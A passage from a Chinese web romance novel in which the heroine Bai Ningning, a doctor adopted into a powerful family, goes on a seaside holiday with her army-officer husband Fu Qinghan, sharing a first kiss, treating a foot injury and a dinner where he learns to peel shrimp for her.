而一旁的陈瑶,则只是撇了撇嘴,不情不愿地叫了一声“凝凝姐”,眼神里却充满了审视和一丝不服气。她想不通,不知道从哪里冒出来的乡下野丫头,就算她救了爷爷的命,不也给过她嘉奖了嘛…… 凭什么爷爷要收她做的孙女啊? 明明自己才是爷爷的宝贝孙女! 认亲仪式结束后,众人闲聊。 陈慕白很自然地走到了白凝凝身边,温声说道:“凝凝,你医术高超,我有个朋友最近在筹备一个中医药的海外推广项目,将来会遇到一些专业问题,不知日后可否向你请教?” “当然可以。”白凝凝点点头。 “太好了,这是我的联系方式。”陈慕白递上一张名片,继续道,“以后在京市,有什么事,随时可以来找我。” 他言语温和,举止得体,完全是出于兄长对妹妹的关心。 然而,这一幕落在旁边一直保持沉默的傅清寒眼里,却让他周身的气压,瞬间低了好几度。 他上前一步,极其自然地将白凝凝往自己怀里一带,黑眸里带着一丝不易察觉的警惕和敌意,声音冷硬: “我太太的事,就不劳陈主任费心了。” 陈慕白笑了笑,也没有说什么。 认亲仪式后,白凝凝的生活彻底被打乱了。 “陈老总义孙女”这个身份,像一个巨大的光环,将她笼罩起来。上门拜访的、送礼的、套近乎的,络绎不绝。就连傅家主宅那边,周玉芬都破天荒地提着一篮子鸡蛋和水果,上门来“看望”她,脸上的笑容谄媚得能挤出油来。 白凝凝不胜其烦。 傅清寒将一切看在眼里。这天晚上,他看着又送走一波客人的白凝凝,那张明艳的小脸上写满了疲惫,他沉声开口:“收拾一下东西。” “嗯?去哪?”白凝凝不解。 “我申请了疗养假,”傅清寒的黑眸里带着不容置喙的强势,“带你去海边住几天。就当……休养。” 他没有说,这是为了让她避开京市的纷纷扰扰,也没说,这是为了隔绝林晚晴可能带来的一切麻烦。他只是用最简单的“休养”二字,给了她一个无法拒绝的理由。 海边? 白凝凝的眼睛“噌”地一下就亮了! 前世,她身为古武世家的传人,每天不是练功就是钻研医术,几乎没有自己的时间。她曾无数次在书上看到过对大海的描写——蔚蓝的、无边无际的、充满了自由的气息。去海边看一次日出,成了她心底一个小小而遥远的愿望。 没想到,这个愿望,在这一世竟然要实现了! 在这个世界,有这样的羁绊也许不是坏事。 “好!”她爽快地答应了,声音里带着自己都没察觉到的雀跃。 第25章 他的行李箱都是凝凝的东西 第二天一早,傅清寒还没起床,就闻到了一股淡淡的、清雅的药香。他走出房间,看到白凝凝正兴致勃勃地在小院里捣鼓着一堆瓶瓶罐罐。 她将磨成细粉的珍珠和几种清凉解毒的草药混合在一起,小心翼翼地调制着,神情专注而又兴奋。 “在做什么?”傅清寒倚在门框上,看着她难得一见的、充满活力的模样,嘴角不自觉地微微上扬。 “做宝贝呢!”白凝凝抬起头,献宝似的将一个精致的小瓷瓶递到他面前,小脸上写满了得意,“去海边太阳大,这个涂了保证晒不黑,还能养皮肤呢!” “哦?什么秘方?” 白凝凝扬起下巴,像只骄傲的小猫,俏皮地眨了眨眼:“独门秘方,概不外传!” 这副娇俏活泼的模样,与平日里那个清冷淡然的神医判若两人,看得傅清寒心中一动,喉结不自觉地滚动了一下。 他接过那瓶“宝贝”,看着她脸上那真切的、发自内心的期待,心中某个角落,变得无比柔软。 可当她转身去收拾行李,看到傅清寒从储物间里拖出那个硕大的军用行李箱时,还是愣了一下。 “我们不是就去几天吗?用得着带这么多东西?” 傅清寒没说话,只是打开了箱子。 白凝凝凑过去一看,瞬间呆住了。 那巨大的行李箱里,几乎塞满了她的东西! 最上面是一叠崭新的、带着阳光味道的漂亮裙子,有适合海边散步的碎花长裙,有俏皮的及膝连衣裙,甚至还有一件样式简单的泳衣……全都是她的尺码。一看吊牌,正是秦悦店里的。 裙子旁边,放着一顶精致的草编遮阳帽,一双舒适的平底凉鞋。而她的那个装着独家秘方的小瓷瓶,正被他用一块柔软的绒布小心翼翼地包裹着,放在最显眼的位置。 箱子的角落里,塞着几包她爱吃的零食,甚至还有几包她惯用的、炮制好的药材。 而他自己的东西,只有一套备用的常服和几件换洗的内衣,被挤在了一个小小的角落里,显得有些“可怜”。 白凝凝的心,像是被一只温暖的手轻轻地攥住了,又软又涨。 这个男人,他总是这样。嘴上什么都不说,却把所有的关心和体贴,都做在了行动里。 她忍不住弯起嘴角,心情像海边的天气一样,瞬间晴朗起来。 她心情一好,便来了兴致,想帮他再检查一下有没有遗漏的东西。她走到他的书架前,想看看有没有他想带去看的书。 她的目光扫过一排排军事理论书籍,最后落在了一本有些陈旧的《战争论》上。她抽出书,准备放进箱子里,书页却“啪嗒”一声,掉出了一张照片。 是一张半旧的黑白合影。 白凝凝弯腰捡起,照片上是几个穿着军装的年轻军官,英姿飒爽。她一眼就看到了傅清寒,那时候的他比现在更显青涩,但那股冷硬的气质却如出一辙。 而他的身边,站着一个笑容灿烂、梳着麻花辫的女孩。女孩的目光,毫不掩饰地黏在傅清寒身上,充满了爱慕和骄傲。 是林晚晴。 那根在舞会后被她刻意忽略的刺,在这一刻,又冷不丁地冒了出来,轻轻地、却又精准地,扎了她的心一下。 原来……他们曾经那么亲近过。亲近到,可以一起拍照,并将照片珍藏在最常看的书里。 白凝凝捏着照片的一角,心里说不出是什么滋味。有点酸,有点涩。 她想问问他,照片里的故事。想问问他,他和林晚晴的过去。 可话到嘴边,她又咽了回去。 她有什么资格问呢?他们的婚姻,本就是一场交易。 再说这都是过去的事,她没有权利去干涉。 而且……最重要的是……她不想自己变得像个妒妇一样,她有自己的骄傲,那样子太难看了! 白凝凝深吸一口气,将那点不该有的情绪压下去,默默地把照片重新夹回书里,放回原处,只当自己什么都没看见。 可她那瞬间低落下去的情绪,和脸上那抹一闪而过的黯然,又怎能逃过身后那双锐利的眼睛。 傅清寒不知何时,已经悄无声息地走到了她的身后。 他没有问她看到了什么,在他看来林晚晴完全就是个无关紧要的人,根本不值得他的解释。 他只是伸出双臂,从身后,将这个让他牵肠挂肚的小女人,紧紧地圈进了怀里。 “唔……”白凝凝被他突如其来的拥抱吓了一跳,身体一僵。 傅清寒将下巴轻轻抵在她的肩窝,温热的呼吸喷在她的颈侧,带来一阵阵战栗。他的声音,比平时更低沉,也更沙哑。 “在想什么?” 不等她回答,一个极轻、极柔的吻,便落在了她敏感的耳垂上。 白凝凝浑身一颤,脸“腾”地一下就红了! 这个男人……他怎么…… 她正羞恼地想推开他,却听到他那带着一丝危险和引诱的嗓音,贴着她的耳朵,缓缓响起: “是不是在想……” 凝凝的心一下子提到了嗓子眼,他看出来了?看出自己那点嫉妒和在意? 没想到傅清寒却说,“在想……上次我们看的那个电影?” 电影?凝凝一下子想到那个电影末尾的亲吻…… 她的脸颊爆红,连耳根都烧了起来,心跳如擂鼓,又羞又恼。“胡说八道,我没有!” “没有?”傅清寒低低笑出声,“那你脸红什么?难道是想到了……药浴?“ “轰!” “药浴”两个字,更是像点燃的引信,瞬间引爆了白凝凝的记忆! 上次在浴室里,那蒸腾的雾气,滚烫的肌肤,失控的拥抱,和那个几乎落下的吻……所有旖旎又危险的画面,一股脑地涌上了她的心头! “你……乱讲!”她用力推开他,转过身,不敢看他那双深邃的、仿佛带着钩子的眼睛。 傅清寒看着她绯红的脸颊和慌乱的眼神,胸膛里发出一阵低沉而愉悦的笑声。 他成功了。 用一个更强势、更具侵略性的话题,霸道地占据了她所有的思绪。 他就是要让她明白—— 你只能想着我。其他人,尤其是林晚晴那种女人不值得她费一点心。 当晚,白凝凝洗漱完毕,准备溜回房睡觉,下午的那个话题太让人误会了。 刚走到楼梯口,就发现傅清寒正靠在她的房门口,手里拿着那个装着药浴包的布袋,好整以暇地看着她。 “你……你干什么?”白凝凝的心瞬间提到了嗓子眼,下意识地后退了一步。 傅清寒晃了晃手里的药包,迈开长腿,一步步向她逼近。他身上还带着沐浴后的水汽,黑色的睡袍松松垮垮地系着,露出大片结实性感的胸膛。 “我的治疗,是不是该继续了?”他的声音沙哑,眼神里带着一丝不容错辨的侵略性,“上次……效果不错,我们是不是该继续进行了?” 白凝凝被他逼得退到墙角,退无可退。她梗着脖子,强作镇定:“你的伤已经好得差不多了,剩下的……你自己泡就行。” “是吗?”傅清寒将她困在自己和墙壁之间,俯下身,滚烫的呼吸喷在她的脸上,“可我怎么觉得,没有你的‘引导’,药力根本进不了经脉。” 他顿了顿,目光灼灼地盯着她慌乱的眼眸,一字一句,像是在蛊惑: “还是说……你怕了?” 第26章 月下之吻,傅清寒认栽 怕什么?怕他? 白凝凝的心跳如擂鼓,她知道,这个男人在故意逗她,在报复她刚刚“胡思乱想”的“惩罚”。 白凝凝你要争口气,千万不能被他两句话勾得找不到北了,自己不要面子的啊? 她深吸一口气,仰起小脸,迎上他危险的目光,忽然嫣然一笑,那笑容,像黑夜里绽放的昙花,美得惊心动魄。 “好啊,”她的手指,轻轻地、带着一丝挑衅地,点在了他结实的胸膛上,缓缓向上,勾住了他的脖子,“那就……继续?” 傅清寒的呼吸猛地一滞!他没想到,这只小野猫,竟然还敢主动亮爪子! 他眼底的火焰“腾”地一下烧得更旺,几乎要将她焚烧殆尽。他低下头,鼻尖几乎要碰到她的,每一个字都像是从胸膛里震出来的: “不知死活。” 就在这千钧一发之际,白凝凝却忽然松开手,像条滑不溜秋的鱼儿,从他臂弯下钻了出去,瞬间与他拉开了三步的距离。 她对着僵在原地的男人,做了个鬼脸,语气里满是狡黠:“今晚不行,我要养精蓄锐,明天还要去看大海呢!” 说完,她“砰”的一声关上房门,并迅速落了锁。 门外,傅清寒维持着那个俯身的姿势,僵硬了几秒。随即,他无奈地低笑出声,那笑声里,充满了对这只小狐狸的纵容和……愈发浓烈的占有欲。 他知道,他彻底栽了。 这笔账,他记下了。等到了海边,再跟她连本带利,一起算。 …… 伴随着火车“况且况且”的节奏,京市的喧嚣被远远地甩在了身后。 软卧包厢里,气氛有些微妙。 白凝凝只要一想起昨晚傅清寒那句“不知死活”和自己落荒而逃的窘迫,脸颊就不由自主地发烫。她假装看窗外的风景,耳朵却不受控制地捕捉着包厢里男人的一举一动。 傅清寒倒是显得很坦然,他坐在她对面,安静地擦拭着一把配枪的零件。他的手指修长而有力,动作专注而又充满了一种别样的性感。察觉到她的目光,他会抬起眼帘,黑眸深邃地看她一眼,然后嘴角勾起一抹极淡的、玩味的笑意,仿佛在说:昨晚的账,我可还记着呢。 这让白凝凝更是面红耳赤,只能把头埋得更低。 这个男人,绝对是故意的! 火车在第二天清晨,抵达了位于南海之滨的军区疗养院。 这里与其说是疗养院,不如说是一个与世隔绝的天然氧吧。它坐落在一个小半岛上,三面环海,椰林树影,白沙如银。远处,是一个鸡犬相闻的宁静小渔村。 海风带着咸湿而清新的味道扑面而来,吹散了白凝凝心中最后一丝阴霾和旅途的尴尬。 她长长地舒了一口气,感觉整个人都活了过来。 “喜欢这里?”傅清寒不知何时走到了她身边,与她并肩而立,看着远处那片蔚蓝的大海。 “喜欢!”白凝凝重重地点头,眼睛亮晶晶的,像是落入了漫天星辰,“非常喜欢!” 看到她发自内心的笑容,傅清寒的心情也跟着明朗起来。他觉得,带她来这里,是他做过的最正确的决定之一。 两人入住的是一栋独立的海边小木屋,推开窗就是一望无际的大海。 当天下午,他们就在小渔村里,意外地遇上了一场热闹非凡的渔家婚宴。 新郎是疗养院的一名炊事班长,娶的是渔村最漂亮的姑娘。整个渔村的人都出动了,在沙滩上摆开了几十桌流水席,场面粗犷而又充满了生命力。 “傅团长!嫂子!来啦!快来坐!今天不醉不归!”热情的新郎不由分说地就把两人按在了主桌上。 没有精致的餐具,只有粗瓷大碗;没有优雅的音乐,只有渔民们扯着嗓子的祝酒歌。大铁锅里炖着刚捞上来的海鱼,炭火上烤着滋滋冒油的生蚝和扇贝,空气中弥漫着食物的香气和浓浓的酒气。 起初,白凝凝还有些拘谨。但很快,她就被这种淳朴而热烈的气氛感染了。 一位渔家大嫂看她只小口吃菜,直接夹了一大块烤得焦香的鱼肉放进她碗里,豪爽地笑道:“嫂子,别客气!到了我们这儿,就跟到家一样!吃肉喝酒,才快活!” 白凝凝愣了一下,随即也笑开了。她放下矜持,学着他们的样子,大口地吃着烤鱼,喝着微甜的米酒。 傅清寒坐在她身边,几乎没有动筷子。他的目光,全程都落在白凝凝身上。 他看着她脱掉了“陈老总义孙女”和“神医”的所有光环,穿着他为她准备的碎花长裙,笑语嫣然地和那些渔家大嫂们聊着天,听她们讲海上的趣事。 他看着她被热情的姑娘们拉着,学跳一种简单而欢快的渔家舞蹈,虽然舞步有些生疏,但她脸上的笑容,却是那么明媚动人,比天上的太阳还要耀眼。 他看着她吃到好吃的,会像只满足的小猫一样眯起眼睛;听到有趣的笑话,会毫无顾忌地开怀大笑;脸上不小心沾了点酱汁,也只是俏皮地用舌尖舔掉,毫不在意。 这一刻的她,不再是那个清冷孤傲的神医,也不是那个智计百出的傅太太,她只是一个鲜活的、灵动的、充满了人间烟火气的……白凝凝。 这股蓬勃的生命力,像一道无可抵挡的光,瞬间击穿了傅清寒那颗习惯了冰冷、克制与纪律的心脏。 他发现,他爱的不仅仅是她的强大和神秘,更是她此刻的真实与烂漫。 爱? 当这个字眼从心底冒出来时,傅清寒自己都愣住了。 他从没想过自己居然有天也会用上这样的字眼…… 他带着认命的意味轻轻摇头,不管怎样,现在这个小姑娘都是自己的妻子了。爱自己的妻子有什么问题吗? 他伸手轻轻擦去她粘在嘴角的酱汁,“多大了?还能吃到脸上?嗯,小花猫?” 他的声音低沉暗哑,喷出的湿热气息若有似无地吹在耳朵上,凝凝感觉耳朵都要怀孕了,小脸一红,拉开了距离。 故意大动作地擦了擦自己的嘴,挑衅似的看着他,“这叫豪迈,你懂什么?” 说完就一溜烟跑到离他更远的地方去了。 她丝毫没意识到,此时自己的羞愤难当和两天前那个晚上叫嚣着自己才不怕,不要面子的傲娇样子判若两人。 傅清寒见她满脸羞红逃走的小兔子样子,更是心中一荡。 他知道自己逃不掉了,也不想逃。 婚宴一直持续到月上中天。 两人告别了热情的渔民,沿着沙滩,慢慢地往小木屋走去。 月光如水,温柔地洒在银色的沙滩上。海风轻拂,带着微醺的暖意。 白凝凝脱了鞋,赤着脚踩在柔软的沙滩上,感受着海水温柔地亲吻她的脚踝。她心情极好,甚至哼起了不成调的歌。 她可还没忘刚刚他给自己擦嘴角的事,羞赧得刻意和他保持距离。 傅清寒也不介意,走在她身后,静静看着她被月光拉得长长的、纤细的影子,心中那股陌生的、汹涌的情感,再也无法压抑。 他快走几步,从身后,一把抱住了她。 “啊!”白凝凝惊呼一声,被他圈入一个滚烫而坚硬的怀抱。 “傅清寒?”她有些不解。 男人没有说话,只是将头深深地埋在她的颈窝,贪婪地呼吸着她身上那股混合着淡淡药香和海水咸湿味道的气息。 他的呼吸,粗重而又滚烫。 “白凝凝……”许久,他才闷闷地开口,声音沙哑得不像话。 “嗯?” 他扳过她的身子,让她面对自己。 在皎洁的月光下,他那双深邃如寒潭的黑眸,此刻却像是燃着两簇幽蓝的火焰,死死地锁着她。 第27章 你这里……容易晒伤 白凝凝被他看得心头一跳,一种莫名的紧张感涌了上来。 “你……你想干嘛……”她只觉得自己的脸不争气地烧了起来。 “我好像……”他看着她的眼睛,一字一句,像是用尽了全身的力气,郑重而又无奈地宣告: “……栽了。” 话音未落,他便再也克制不住,猛地低下头,用一个带着咸咸海风味道和无尽隐忍与深情的吻,狠狠地堵住了她所有的惊愕。 这不是试探,不是挑逗。 而是一个男人,在情感彻底失控后,最本能、最炙热的掠夺。 这是他们之间的第一个吻。 白凝凝的大脑一片空白,只剩下唇上那滚烫而又陌生的触感。她下意识地想推开他,手却被他更紧地扣住,与他十指相缠。 他的吻,和他的人一样,充满了霸道和侵略性。从最初的辗转厮磨,到后来的攻城略地,带着一股不容拒绝的强势,仿佛要将她整个人都吞吃入腹,揉进自己的骨血里。 海浪一声声地拍打着沙滩,仿佛在为这场失控的爱恋伴奏。 不知过了多久,久到白凝凝几乎要窒息时,傅清寒才微微退开一丝距离。 他用额头抵着她的,两人滚烫的呼吸交织在一起。他的黑眸里,是她从未见过的、浓稠得化不开的情-欲和……一丝得逞后的沙哑笑意。 他看着她被吻得嫣红微肿的唇,声音低沉得能让人的骨头都酥了。 “电影结尾的吻……给你补上了。” 白凝凝的大脑,因为傅清寒那句低沉沙哑的问话,宕机了足足三秒。 补上?什么补上?自己什么时候说要了? 看着她迷茫如小鹿一样清澈无辜的眼神,傅清寒低低笑了,“怎么?还觉得不够?药浴也给你补上?” 药浴! 她的脸颊“轰”的一下,比天边的晚霞还要红。 这男人……他怎么能用这么一本正经的语气,说出这么不正经的话! 她又羞又恼,抬起手就想往他结实的胸膛上捶,手腕却被他轻而易举地抓住,包裹进温热的掌心。 “唔……”她挣扎了一下,却被他扣得更紧。 傅清寒看着她那双水光潋滟、带着薄怒的杏眼,心中软得一塌糊涂。他低下头,在她嫣红的唇上,又轻轻啄了一下,像是在品尝最美味的蜜糖。 “好了,不逗你了。”他声音里含着笑,将她散落在脸颊旁的一缕湿发,温柔地别到耳后,“海边风大,我们回去。” 说完,他没有再做更过分的举动,只是牵着她的手,十指紧扣,慢慢地往小木屋走去。 白凝凝的心跳依旧快得像要蹦出胸膛,手心里是他掌心传来的滚烫温度,让她觉得连空气都变得燥热起来。 这个夜晚,注定无眠。 两人回到小木屋,只有一间卧室,一张大床。 在京市时,他们一直分房而睡。可在这里,却避无可避。 白凝凝洗漱完出来,看到傅清寒已经躺在了床上,他只占了床铺的一侧,另一侧,留出了一个足够宽敞的位置。 他没有看她,只是手里拿着一本书,似乎在认真阅读。但那紧绷的侧脸线条,和微微滚动的喉结,还是暴露了他内心的不平静。 白凝凝磨磨蹭蹭地走到床边,心一横,掀开被子躺了上去,身体僵硬地紧贴着床沿,恨不得离他八丈远。 傅清寒放下书,关掉了床头的灯。 黑暗中,只剩下彼此清晰可闻的呼吸声和心跳声。 过了许久,就在白凝凝以为他已经睡着时,一只温热的大手,却忽然伸了过来,准确地找到了她放在被子外的手,轻轻握住。 白凝凝身体一僵。 “睡吧。”男人的声音在黑暗中响起,带着一丝安抚人心的力量,“我不会对你怎么样。” 他知道,她还没有完全准备好。他们的开始源于一场交易,他不想让她觉得,他们的亲密也是交易的一部分。 他想要她,想得快要发疯。但他更想等,等到她心甘情愿地、毫无芥蒂地,完全接纳他的那一天。 听到他这句近乎承诺的话,白凝凝紧绷的身体,缓缓地放松了下来。她反手,也轻轻地回握住他的手。 这个男人,比她想象中,要更君子,也更……温柔。 接下来的几天,是白凝凝两辈子以来,过得最悠闲、最快乐的时光。 傅清寒像是要把所有的假期都用来陪伴她。 清晨,他会陪着她去赶海,看她像个孩子一样,兴奋地在礁石缝里翻找着小螃蟹和海螺。每当她有收获时,都会献宝似的举到他面前,而他总是会耐心地帮她把战利品放进小桶里,眼神里满是纵容的笑意。 这天下午,天气格外晴朗,海面像一块巨大的蓝宝石,闪着粼粼波光。 白凝凝换上了那件样式简单的泳衣,外面套着一件白色的防晒衬衫,准备去海里泡泡水。 她抱着自己那个宝贝防晒膏的小瓷瓶,坐在门廊的藤椅上,细细地往胳膊和腿上涂抹。那膏体是奶白色的,带着一股清雅的草药香,触感清凉舒爽。 傅清寒刚从外面晨练回来,赤着精壮的上半身,额角和蜜色的胸膛上还挂着汗珠,浑身散发着强烈的男性荷尔蒙。 他走到她身边,目光落在她那双修长白皙、在阳光下几近透明的美腿上,眼神不自觉地暗了暗。 “要下水?”他开口,声音有些沙哑。 “嗯,都要海边了不下水去玩岂不是暴殄天物?”白凝凝点点头,涂完了前面,却对着自己的后背犯了难。她努力地伸长胳膊,却总有够不到的地方。 傅清寒看着她那副笨拙又可爱的模样,喉结滚动了一下,主动开口:“我帮你。” 白凝凝的动作一顿,脸颊微微发热。 没等她回答,傅清寒已经极其自然地在她身边坐下,从她手中拿过了那个小瓷瓶。 他用修长的手指,从瓶中挖出一小块膏体,在温热的掌心搓开。然后,那只带着薄茧、充满了力量感的大手,覆上了她光洁细腻的后背。 “!” 白凝凝浑身一个激灵! 他的掌心滚烫,与她清凉的肌肤形成了鲜明的对比。那触感,像是一股强劲的电流,瞬间窜遍了她的四肢百骸! 她紧张得连脚趾都蜷缩了起来。 傅清寒的动作很慢,很仔细。 他的手指,带着一种不容错辨的占有意味,从她优美的蝴蝶骨,滑到她纤细的腰窝,再到她圆润的肩头……每一寸肌肤,都被他细细地、反复地涂抹着。 他涂的哪里是防晒膏,分明是在用指尖,描摹着属于他的领地。 浴室里,充满了暧昧的、令人心跳加速的沉默。 白凝凝能清晰地听到自己如擂鼓般的心跳声,也能感受到身后男人那越来越粗重、越来越滚烫的呼吸。 “好了吗?”她终于忍不住,声音细若蚊蚋,带着一丝不易察觉的颤抖。 “还没。”傅清寒的声音沙哑得不像话,他俯下身,滚烫的唇,几乎要贴上她的耳廓,每一个字都像是从胸膛里震出来的,“你这里……还有这里……都容易晒伤。” 第28章 我希望未来每一页都有你 他的手指,意有所指地在她后颈和肩胛骨的连接处,轻轻地、反复地打着圈。 那是最敏感的地方之一。 白凝凝的身体瞬间软了下来,几乎要坐不住。她知道,这个男人在故意“使坏”,在不动声色地,撩拨她。 表面正正经经的,怎么这么坏? 就在她快要缴械投降时,傅清寒却忽然停下了动作,直起了身子。 他深深地看了她一眼,那双黑眸里,翻涌着惊涛骇浪,却被他以强大的自制力,强行压了下去。 “好了。”他把瓷瓶放回她手中,声音里还带着一丝隐忍的沙哑,“去玩吧。” 白凝凝有些错愕地回头,不明白他为什么会突然“放过”自己。 傅清寒却只是揉了揉她的头发,眼神里是她从未见过的、深沉的温柔。 “凝凝,虽然我们是夫妻,”他低声道,“但在我们真正确定关系之前,我不会对你做什么。” 他想要她,想得快要发疯。 但他更知道,他们的开始并不纯粹。他不想让她觉得自己是因为一时冲动,或者身体的欲望,才被迫接受他。 他要的,是她的心甘情愿。 是他傅清寒,堂堂正正地,走进她的心里。 “而且……你不是想下水去玩吗?做点什么的话又要重新涂了。” 什么叫又要重新涂,意思是全身都被摩挲干净吗? 她小脸涨得通红,眼前浮现一些少儿不宜的画面。这个男人太坏了,什么冷面阎王,骨子里分明就是一匹狼。 傅清寒见她害羞得脸红,一双美目水淋淋的,强行压下心里的那点热燥和悸动,把刚刚揉乱的头发轻轻捋在她的耳朵后,“不着急,我们两个有的是时间。我的小姑娘只要快快乐乐的,不用太早长大。” 白凝凝被傅清寒那句“我的小姑娘只要快快乐乐的,不用太早长大。”弄得心慌意乱,落荒而逃,逃进了那片蔚蓝的大海里。 完全忘记之前的自我提醒,什么古武世家传人,什么清冷孤傲早就忘到爪哇国去了。 冰凉的海水让她滚烫的脸颊降下温来,也让她那颗狂跳不止的心,渐渐平复。 她不明白傅清寒怎么面不改色心不跳说出那么暧昧的话,不想了,不想了,真的是。 白凝凝的水性极好,在海里玩得不亦-乎。她像个贪玩的孩子,追逐着五彩的鱼群,向更深一些的珊瑚礁区域游去,想看看那里有没有更漂亮的海螺。 然而,就在她拨开一片茂密的海藻时,脚底突然传来一阵撕裂般的剧痛! “啊!”她痛呼一声,下意识地缩回脚,一股鲜血立刻在清澈的海水里弥漫开来! 她踩到了一块锋利的珊瑚礁! 上一秒还像雄狮一样慵懒地坐在沙滩上的傅清寒,在听到她那声压抑的痛呼时,眼中瞬间迸发出骇人的紧张!他几乎是化作一道残影,没有丝毫犹豫地冲进了海里! 浪花飞溅,他几步就冲到了白凝凝身边,一把将脸色发白、脚底鲜血直流的她打横抱起! 那姿势,比任何时候都更稳,也更紧。 “怎么这么不小心!”他的脸色铁青,声音里是自己都未曾察觉的、因后怕而产生的颤抖。 他抱着她大步流星地冲回小木屋,将她小心翼翼地放在床上。他拿出随身的急救包,单膝跪地,用最专业、最迅速、却又最轻柔的手法,为她清洗伤口、消毒、上药、包扎。 那双能拆解最精密武器的手,此刻在处理她小小的伤口时,却带着一丝微不可查的颤抖。 一个男人会不会演戏,但这种危急关头下意识的紧张和后怕,是绝对演不出来的。 很快,她的脚踝上就出现了一个包扎得堪称完美的蝴蝶结,松紧适度,美观整洁。 白凝凝看着脚上那个漂亮的蝴蝶结,再看看傅清寒那一脸严肃认真的表情,心中的紧张和疼痛都散去了不少,忍不住勾了勾嘴角。 她以一个专业医生的眼光打量着自己的伤口,然后抬起头,对上傅清寒担忧的目光,第一次,用一种带着欣赏和一丝调侃的语气,开口说道: “傅团长,你这伤口处理和包扎的手法,很专业嘛。比很多医院的实习护士都强。没少在自己身上练过吧?” 她本是一句带着心疼的玩笑话,想缓和一下气氛。 傅清寒的身体却猛地一僵。 他抬起头,深深地看了她一眼,那双黑眸里,翻涌着她看不懂的、沉痛的过往。他没有回答,只是沉声道:“别乱动。我去给你倒杯水。” 说完,便起身快步走了出去,仿佛在躲避什么。 她是不是说错话了?难道是他想起来导致他绝嗣的那次伤…… 自己太不小心了……她本是一句带着心疼的玩笑话,想缓和一下气氛。 一个念头,像闪电一样划过她的脑海——他是不是想到导致他绝嗣的那次重伤了? 作为一个男人,还是傅清寒这样的当时应该又难受又屈辱吧…… 明明是天之骄子,却一夜之间被带上“绝嗣”的帽子…… 想到这里,白凝凝的心,像是被一只无形的手狠狠地攥住一样。 自己太不小心了,竟然戳到了他最深的伤疤。 就在这时,门口传来一个爽朗的大嗓门:“报告!嫂子在吗?我来给团长送加急文件!” 一个皮肤黝黑、笑容灿烂的年轻军官,拎着一个文件袋,风风火火地闯了进来。他就是傅清寒的副官兼过命的兄弟——詹骁。 詹骁一进门就看到屋里的情景,愣了一下,随即咧嘴一笑:“哟!嫂子这是怎么了?脚受伤了?严不严重?让我家团长看见了,还不得心疼死啊!” 傅清寒正好端着水杯走进来,听到他这番话,一个冷眼扫过去:“就你话多。把文件放下,去炊事班看看晚上有什么好吃的,多打点肉回来。” “得嘞!”詹骁嘿嘿一笑,将文件放下,又对白凝凝挤眉弄眼道,“嫂子你放心,我们团长看着凶,其实最会心疼人了!你好好歇着,我去给你打牙祭!” 詹骁走后,屋里又恢复了安静。 傅清寒将水杯递给她,坐在床边,气氛有些沉闷。 白凝凝知道自己刚才可能说错了话,便主动开口,想换个话题:“刚才那个人,是你的兵?” “嗯,詹骁,我的副官。”傅清寒看着她包扎好的脚,语气缓和了些,“也是……可以把后背交给他的人。” 晚上,傅清寒亲自下厨,将詹骁打来的海鲜和肉,做了一大桌子菜。 “嫂子,你是不知道,我们团长在部队里,人称‘活阎王’!整个团的兵,没有一个不怕他的!”詹骁一边啃着鸡腿,一边爆料,“也就只有在你面前,他才像个人样!” 傅清寒一个冷眼扫过去:“食不言,寝不语。” 詹骁缩了缩脖子,但还是不怕死地继续说:“你看你看,又来了!嫂子,你可得好好管管他!” 饭桌上,詹骁是个活跃气氛的好手,在他的插科打诨下,白凝凝也放松了不少。 她看着那盘大虾,很没出息地咽了咽口水。 前世,作为古武世家的传人,饮食清淡,讲究效率,几乎不碰这种需要费劲剥壳的“麻烦”食物。穿书后,她也没机会吃到。此刻闻着那鲜香的味道,馋虫都被勾了出来了。 可她看了看自己油光锃亮的手,还是撇开了头,只夹面前的青菜吃。 她的这点小动作,又怎能逃过傅清寒的眼睛。 他没有说话,只是默默地戴上了手套。 傅清寒是个军人,吃饭讲究速战速决,平时也极少吃这种需要“精细操作”的东西。他第一次剥虾,动作显得有些笨拙,虾壳和虾肉被他弄得有些惨不忍睹。 坐在一旁的詹骁看得直乐,不怕死地调侃道:“哎哟我的团长大人,您这剥虾的技术,可比您拆枪的技术差远了啊!这虾都快被您剥成末了!” 傅清寒一个冷眼扫过去,詹骁立刻噤声,埋头扒饭。 傅清寒没有理会他的调侃,只是专注地、固执地和手里的虾较着劲。剥坏了第一个,他就拿起第二个,神情严肃得像是在执行什么S级任务。 很快,第二个、第三个……他的动作肉眼可见地变得熟练起来,从一开始的“惨不忍睹”,到后来的干净利落,一个完整的、沾着鲜美汤汁的虾仁,终于被他成功地剥了出来。 他没有吃,而是极其自然地将那只凝聚了他全部心血的虾仁,放进了白凝凝碗里。 白凝凝愣住了。 她看着碗里那只完美的虾仁,再看看傅清寒那双骨节分明、沾染了油污的手,心中某个角落,瞬间软得一塌糊涂。 “快吃,凉了就腥了。”他低声命令道,语气依旧霸道,手上却已经拿起了下一只虾。 白凝凝夹起虾仁放进嘴里,鲜、香、甜、咸,各种滋味在味蕾上绽放,好吃得让她忍不住眯起了眼睛。 “好吃吗?”他问。 “嗯!”白凝凝重重地点头,像只偷吃到鱼干的小猫。 傅清寒看着她满足的模样,嘴角不自觉地勾起一抹连他自己都未曾察觉的温柔笑意。 他没再说话,只是专注地、一只接一只地剥着。很快,白凝凝的碗里,就堆起了一座小山似的虾仁。 他将那堆成小山的虾仁推到她面前,然后脱掉手套,擦干净手,用那双深邃的黑眸看着她,认真地、一字一句地说道: “以后想吃什么,都可以告诉我。” “我来学,我来做。” 没有华丽的辞藻,没有浪漫的誓言,只有这最朴实、最笨拙,却也最真诚的承诺。 他傅清寒,一个在战场上杀伐果断、说一不二的活阎王,此刻,却愿意为了她,去学习那些他从未接触过的、琐碎的、充满烟火气的事情。 凝凝心头又热又软,像是塞进去一个热水袋。 詹骁见状,砸砸嘴,哎呀,这狗粮自己都吃饱了,匆匆吃了几口就识趣地告辞。 傅清寒收拾好碗筷,走过来,在白凝凝身边坐下,看着她那只还包着纱布的脚,眼神里满是心疼。 在今天这份无法伪装的紧张和关切面前,白凝凝终于放下了所有防备,她轻声开口,状似无意:“傅清寒,我前几天在你书里,看到了一张照片。” 傅清寒的身体微微一僵。 “是你和……林小姐的合影。” 傅清寒抬起头,迎上她清澈的、带着一丝探究的眼眸。他没有闪躲,语气坦然得像在陈述一件与自己无关的报告: “你说那张?毕业时的集体照,人太多,我都忘了里面有谁。林晚晴……大概是恰好站在我旁边。” 他看着她的眼睛,那双深邃的黑眸里,是前所未有的郑重。 “凝凝,我的过去很简单,没有你想的那些故事。我受伤前,大部分时间都在出任务,没时间,也没心思去谈情说爱。受伤后,就更没有了。” 